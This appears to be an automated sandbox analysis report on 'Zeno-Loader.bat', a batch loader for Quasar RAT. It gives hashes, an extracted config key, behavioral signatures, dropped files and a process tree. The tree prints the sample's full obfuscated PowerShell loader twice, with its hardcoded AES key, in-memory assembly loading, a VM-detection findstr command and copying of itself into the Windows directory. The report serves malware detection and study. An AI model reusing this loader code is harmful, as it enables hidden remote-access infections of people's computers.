Analysis

  • max time kernel
    79s
  • max time network
    74s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-01-2025 21:33

General

  • Target

    Zeno-Loader.bat

  • Size

    7.2MB

  • MD5

    72d00f0024897e8f1df20016101ab45a

  • SHA1

    af3ed84e2ed1de471e4773fb6d06aa0fc1ee0f6c

  • SHA256

    67dfd63675918029facddae2fffc7573597922fbaa18c39d59a22b226d37f881

  • SHA512

    6fe39ed252674f0ff775786aeab76d2decfa289f88cea0422f58d29a5d8a4890906ddef72038b1f652a108c3d3c40ac9dedcf2b4696ba89b10063f41409ba13c

  • SSDEEP

    49152:gMILTqFg07h0GJm30wMjiN7lAMOLSp3q2iK2JxEaaqNaUhAFCuMtZiXC8s2FDFkg:G

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    BF83117B79367DC6A2463E499652930B1A20BE7A

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 48 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:644
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:472
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{0095de05-b984-4ed1-a75d-bc98cbd715db}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2592
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{5467bb55-10c0-43ba-965f-166e9e06e9c4}
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4740
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:704
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:1004
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:1068
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
            1⤵
              PID:1180
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1192
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1232
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                1⤵
                  PID:1252
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                  1⤵
                    PID:1292
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1348
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                      1⤵
                        PID:1360
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                        1⤵
                          PID:1432
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            2⤵
                              PID:1808
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                              PID:1588
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1640
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1648
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                  1⤵
                                    PID:1656
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1736
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1784
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1848
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1880
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1932
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1940
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                1⤵
                                                  PID:924
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1416
                                                  • C:\Windows\System32\spoolsv.exe
                                                    C:\Windows\System32\spoolsv.exe
                                                    1⤵
                                                      PID:2108
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                      1⤵
                                                        PID:2256
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                        1⤵
                                                          PID:2404
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2440
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2448
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p
                                                              1⤵
                                                              • Modifies data under HKEY_USERS
                                                              PID:2508
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                              1⤵
                                                                PID:2600
                                                              • C:\Windows\sysmon.exe
                                                                C:\Windows\sysmon.exe
                                                                1⤵
                                                                  PID:2652
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2672
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2684
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2692
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2680
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:796
                                                                        • C:\Windows\Explorer.EXE
                                                                          C:\Windows\Explorer.EXE
                                                                          1⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3292
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zeno-Loader.bat"
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4456
                                                                            • C:\Windows\System32\Conhost.exe
                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                              3⤵
                                                                                PID:1280
                                                                              • C:\Windows\system32\fsutil.exe
                                                                                fsutil fsinfo drives
                                                                                3⤵
                                                                                  PID:3660
                                                                                • C:\Windows\system32\findstr.exe
                                                                                  findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
                                                                                  3⤵
                                                                                    PID:2212
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd.exe /c echo function HqOM($FtgQ){ Invoke-Expression -Verbose -InformationAction Ignore '$RrLy=[ZiSZiysZitZiemZi.SZieZicZiuZiriZitZiy.ZiCZirZiyZiptZioZigrZiapZihyZi.ZiAZieZisZi]:Zi:ZiCrZieaZitZie(Zi)Zi;'.Replace('Zi', ''); Invoke-Expression -Verbose -Debug -InformationAction Ignore '$RrLy.MWsoWsdeWs=Ws[SWsysWstWseWsmWs.SWseWscuWsrWsiWstWsy.WsCWsryWsptWsogWsrWsaWspWshWsy.WsCWsipWsheWsrWsMoWsdWseWs]Ws:Ws:CWsBWsC;'.Replace('Ws', ''); Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$RrLy.PMWaMWddMWiMWngMW=[MWSMWyMWsMWteMWmMW.SMWeMWcMWuMWriMWtMWy.MWCrMWypMWtMWoMWgMWrMWapMWhMWy.MWPaMWdMWdiMWnMWgMWMMWoMWdeMW]MW::MWPMWKMWCSMW7;'.Replace('MW', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$RrLy.KBMeBMy=BM[BMSyBMstBMeBMmBM.BMCoBMnBMveBMrBMtBM]BM::BMFBMroBMmBBMasBMeBM6BM4BMSBMtrBMiBMngBM("gBMOBMnZBMEBM4pBMoJBMKBMPBMpBMuuBMnBMORBMXBMnBMaBMXMBMZBMZ2BMv1BMyUBMTBM2BM9BMKBMeYBMfBM1LBMcHBMLBML0BM=BM");'.Replace('BM', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose '$RrLy.IUTVUT=[UTSUTysUTteUTmUT.UTCUTonUTvUTerUTtUT]UT:UT:FUTrUTomUTBaUTseUT6UT4UTSUTtUTriUTnUTg("dUTeUTeUUT1UTklUT1iUTvUTGUTvUTcqUTmUTDrUTrUTBUTFUTswUT=UT=");'.Replace('UT', ''); $UtMm=$RrLy.CreateDecryptor(); $YPFE=$UtMm.TransformFinalBlock($FtgQ, 0, $FtgQ.Length); $UtMm.Dispose(); $RrLy.Dispose(); $YPFE;}function oELX($FtgQ){ Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose '$xCbM=NGQeGQw-GQOGQbjGQecGQtGQ GQSGQysGQtGQemGQ.GQIGQOGQ.MGQeGQmoGQryGQStGQrGQeGQaGQm(,$FtgQ);'.Replace('GQ', ''); Invoke-Expression -InformationAction Ignore -Verbose -Debug '$sGmg=NGQeGQw-GQOGQbjGQecGQtGQ GQSGQysGQtGQemGQ.GQIGQOGQ.MGQeGQmoGQryGQStGQrGQeGQaGQm;'.Replace('GQ', ''); Invoke-Expression -InformationAction Ignore -Debug '$LXrY=NnWenWw-nWOnWbjnWecnWtnW nWSnWysnWtnWemnW.nWInWOnW.CnWonWmpnWrenWssnWinWonWnnW.nWGZnWinWpSnWtrnWenWamnW($xCbM, [nWInWO.nWCnWomnWprnWenWsnWsnWionWnnW.CnWonWmnWpnWrenWsnWsinWonnWMonWdnWenW]nW:nW:DnWenWconWmpnWrnWesnWsnW);'.Replace('nW', ''); $LXrY.CopyTo($sGmg); $LXrY.Dispose(); $xCbM.Dispose(); $sGmg.Dispose(); $sGmg.ToArray();}function nBzO($FtgQ,$CSYT){ Invoke-Expression -Verbose '$QVxt=[jaSjaysjatjaemja.Rjaejafjaljaecjatjaiojanja.jaAjassjaejambjalyja]:ja:jaLjaojaajad([byte[]]$FtgQ);'.Replace('ja', ''); Invoke-Expression -Debug -Verbose -InformationAction Ignore '$ueEA=$QVxt.EXLnXLtrXLyXLPoXLinXLt;'.Replace('XL', ''); Invoke-Expression -Verbose '$ueEA.GOIGOnvGOoGOkeGO($GOnGOuGOlGOl, $CSYT);'.Replace('GO', '');}$fCAG = 'C:\Users\Admin\AppData\Local\Temp\Zeno-Loader.bat';$host.UI.RawUI.WindowTitle = $fCAG;$YQOc=[System.IO.File]::ReadAllText($fCAG).Split([Environment]::NewLine);foreach ($HuHV in $YQOc) { if ($HuHV.StartsWith('WrIqm')) { $Memu=$HuHV.Substring(5); break; }}$Etgk=[string[]]$Memu.Split('\');Invoke-Expression -Verbose -WarningAction Inquire -Debug '$boj = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[0].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');Invoke-Expression -Verbose -Debug -InformationAction Ignore -WarningAction Inquire '$CAN = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[1].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');Invoke-Expression -Verbose '$nrE = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[2].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');nBzO $boj $null;nBzO $CAN $null;nBzO $nrE (,[string[]] (''));
                                                                                    3⤵
                                                                                      PID:4644
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell.exe -WindowStyle Hidden
                                                                                      3⤵
                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Drops file in Windows directory
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2024
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Zeno-Loader.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                        4⤵
                                                                                        • Drops file in Windows directory
                                                                                        PID:2636
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                        4⤵
                                                                                          PID:4468
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            5⤵
                                                                                              PID:1856
                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                              fsutil fsinfo drives
                                                                                              5⤵
                                                                                                PID:2208
                                                                                              • C:\Windows\system32\findstr.exe
                                                                                                findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
                                                                                                5⤵
                                                                                                  PID:3124
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  cmd.exe /c echo function HqOM($FtgQ){ Invoke-Expression -Verbose -InformationAction Ignore '$RrLy=[ZiSZiysZitZiemZi.SZieZicZiuZiriZitZiy.ZiCZirZiyZiptZioZigrZiapZihyZi.ZiAZieZisZi]:Zi:ZiCrZieaZitZie(Zi)Zi;'.Replace('Zi', ''); Invoke-Expression -Verbose -Debug -InformationAction Ignore '$RrLy.MWsoWsdeWs=Ws[SWsysWstWseWsmWs.SWseWscuWsrWsiWstWsy.WsCWsryWsptWsogWsrWsaWspWshWsy.WsCWsipWsheWsrWsMoWsdWseWs]Ws:Ws:CWsBWsC;'.Replace('Ws', ''); Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$RrLy.PMWaMWddMWiMWngMW=[MWSMWyMWsMWteMWmMW.SMWeMWcMWuMWriMWtMWy.MWCrMWypMWtMWoMWgMWrMWapMWhMWy.MWPaMWdMWdiMWnMWgMWMMWoMWdeMW]MW::MWPMWKMWCSMW7;'.Replace('MW', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$RrLy.KBMeBMy=BM[BMSyBMstBMeBMmBM.BMCoBMnBMveBMrBMtBM]BM::BMFBMroBMmBBMasBMeBM6BM4BMSBMtrBMiBMngBM("gBMOBMnZBMEBM4pBMoJBMKBMPBMpBMuuBMnBMORBMXBMnBMaBMXMBMZBMZ2BMv1BMyUBMTBM2BM9BMKBMeYBMfBM1LBMcHBMLBML0BM=BM");'.Replace('BM', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose '$RrLy.IUTVUT=[UTSUTysUTteUTmUT.UTCUTonUTvUTerUTtUT]UT:UT:FUTrUTomUTBaUTseUT6UT4UTSUTtUTriUTnUTg("dUTeUTeUUT1UTklUT1iUTvUTGUTvUTcqUTmUTDrUTrUTBUTFUTswUT=UT=");'.Replace('UT', ''); $UtMm=$RrLy.CreateDecryptor(); $YPFE=$UtMm.TransformFinalBlock($FtgQ, 0, $FtgQ.Length); $UtMm.Dispose(); $RrLy.Dispose(); $YPFE;}function oELX($FtgQ){ Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose '$xCbM=NGQeGQw-GQOGQbjGQecGQtGQ GQSGQysGQtGQemGQ.GQIGQOGQ.MGQeGQmoGQryGQStGQrGQeGQaGQm(,$FtgQ);'.Replace('GQ', ''); Invoke-Expression -InformationAction Ignore -Verbose -Debug '$sGmg=NGQeGQw-GQOGQbjGQecGQtGQ GQSGQysGQtGQemGQ.GQIGQOGQ.MGQeGQmoGQryGQStGQrGQeGQaGQm;'.Replace('GQ', ''); Invoke-Expression -InformationAction Ignore -Debug '$LXrY=NnWenWw-nWOnWbjnWecnWtnW nWSnWysnWtnWemnW.nWInWOnW.CnWonWmpnWrenWssnWinWonWnnW.nWGZnWinWpSnWtrnWenWamnW($xCbM, [nWInWO.nWCnWomnWprnWenWsnWsnWionWnnW.CnWonWmnWpnWrenWsnWsinWonnWMonWdnWenW]nW:nW:DnWenWconWmpnWrnWesnWsnW);'.Replace('nW', ''); $LXrY.CopyTo($sGmg); $LXrY.Dispose(); $xCbM.Dispose(); $sGmg.Dispose(); $sGmg.ToArray();}function nBzO($FtgQ,$CSYT){ Invoke-Expression -Verbose '$QVxt=[jaSjaysjatjaemja.Rjaejafjaljaecjatjaiojanja.jaAjassjaejambjalyja]:ja:jaLjaojaajad([byte[]]$FtgQ);'.Replace('ja', ''); Invoke-Expression -Debug -Verbose -InformationAction Ignore '$ueEA=$QVxt.EXLnXLtrXLyXLPoXLinXLt;'.Replace('XL', ''); Invoke-Expression -Verbose '$ueEA.GOIGOnvGOoGOkeGO($GOnGOuGOlGOl, $CSYT);'.Replace('GO', '');}$fCAG = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $fCAG;$YQOc=[System.IO.File]::ReadAllText($fCAG).Split([Environment]::NewLine);foreach ($HuHV in $YQOc) { if ($HuHV.StartsWith('WrIqm')) { $Memu=$HuHV.Substring(5); break; }}$Etgk=[string[]]$Memu.Split('\');Invoke-Expression -Verbose -WarningAction Inquire -Debug '$boj = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[0].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');Invoke-Expression -Verbose -Debug -InformationAction Ignore -WarningAction Inquire '$CAN = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[1].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');Invoke-Expression -Verbose '$nrE = oELX (HqOM ([apCaponapvaperapt]ap:ap:apFaproapmapBaapsapeap6ap4Saptapriapngap($Etgk[2].Replace("#", "/").Replace("@", "A"))));'.Replace('ap', '');nBzO $boj $null;nBzO $CAN $null;nBzO $nrE (,[string[]] (''));
                                                                                                  5⤵
                                                                                                    PID:1324
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -WindowStyle Hidden
                                                                                                    5⤵
                                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                    • Blocklisted process makes network request
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious use of SetThreadContext
                                                                                                    • Drops file in Windows directory
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:4060
                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                      "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                      6⤵
                                                                                                        PID:1564
                                                                                              • C:\Windows\$nya-onimai2\oMQxDG.exe
                                                                                                "C:\Windows\$nya-onimai2\oMQxDG.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1568
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  3⤵
                                                                                                    PID:4488
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                1⤵
                                                                                                  PID:3428
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                  1⤵
                                                                                                    PID:3480
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:3816
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:3864
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                        1⤵
                                                                                                          PID:3988
                                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                          1⤵
                                                                                                            PID:3996
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                            1⤵
                                                                                                              PID:4196
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                              1⤵
                                                                                                                PID:4388
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                1⤵
                                                                                                                  PID:3556
                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                  1⤵
                                                                                                                    PID:3872
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                    1⤵
                                                                                                                      PID:2292
                                                                                                                    • C:\Windows\system32\SppExtComObj.exe
                                                                                                                      C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:788
                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                        1⤵
                                                                                                                          PID:1812
                                                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                          1⤵
                                                                                                                            PID:2456
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                            1⤵
                                                                                                                              PID:3764
                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                              1⤵
                                                                                                                                PID:1584
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                1⤵
                                                                                                                                  PID:3316
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:2372
                                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                    1⤵
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:5064
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                    1⤵
                                                                                                                                      PID:4644

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                      Filesize

                                                                                                                                      3KB

                                                                                                                                      MD5

                                                                                                                                      da760f8b53fcde92d67d6a610f0a4707

                                                                                                                                      SHA1

                                                                                                                                      8c75b58f43455329c26520540461832bb90bffeb

                                                                                                                                      SHA256

                                                                                                                                      1435d59e62d35d663ae54ca74cebd76a20b00380e3aa189b5d9567cdce7e7528

                                                                                                                                      SHA512

                                                                                                                                      90e62d0fe87dfc7810cbf864d6a984f2b4c24add105f18d375221d2e0f7637f7a1c2e34afe92dcbfccb5a435e8dd6c4ca87a9d79a0fff29bd79a0ac21846e3e0

                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                      Filesize

                                                                                                                                      1KB

                                                                                                                                      MD5

                                                                                                                                      aedb4691b4a410acfe415bdf5817c0d9

                                                                                                                                      SHA1

                                                                                                                                      acdbec00fdeb48253388f5fa7439e26cbfdebe7d

                                                                                                                                      SHA256

                                                                                                                                      cc4e216fe6e882b37196e3a34129e18d386c2541c6527297b84e0350b212cb42

                                                                                                                                      SHA512

                                                                                                                                      1712ac283dc4675ed270c62a0599302a2f3974e2668d1a6b04216b0819800b3e7bef124ba497767bd12c9f887ce34239eb4508a4220a6ba6e75393a370a8fc4e

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kz4b2xg5.5ml.ps1

                                                                                                                                      Filesize

                                                                                                                                      60B

                                                                                                                                      MD5

                                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                      SHA1

                                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                      SHA256

                                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                      SHA512

                                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                    • C:\Windows\$nya-onimai2\oMQxDG.exe

                                                                                                                                      Filesize

                                                                                                                                      36KB

                                                                                                                                      MD5

                                                                                                                                      b943a57bdf1bbd9c33ab0d33ff885983

                                                                                                                                      SHA1

                                                                                                                                      1cee65eea1ab27eae9108c081e18a50678bd5cdc

                                                                                                                                      SHA256

                                                                                                                                      878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

                                                                                                                                      SHA512

                                                                                                                                      cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

                                                                                                                                    • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                      Filesize

                                                                                                                                      7.2MB

                                                                                                                                      MD5

                                                                                                                                      72d00f0024897e8f1df20016101ab45a

                                                                                                                                      SHA1

                                                                                                                                      af3ed84e2ed1de471e4773fb6d06aa0fc1ee0f6c

                                                                                                                                      SHA256

                                                                                                                                      67dfd63675918029facddae2fffc7573597922fbaa18c39d59a22b226d37f881

                                                                                                                                      SHA512

                                                                                                                                      6fe39ed252674f0ff775786aeab76d2decfa289f88cea0422f58d29a5d8a4890906ddef72038b1f652a108c3d3c40ac9dedcf2b4696ba89b10063f41409ba13c

                                                                                                                                    • memory/472-79-0x00000251EA6B0000-0x00000251EA6DA000-memory.dmp

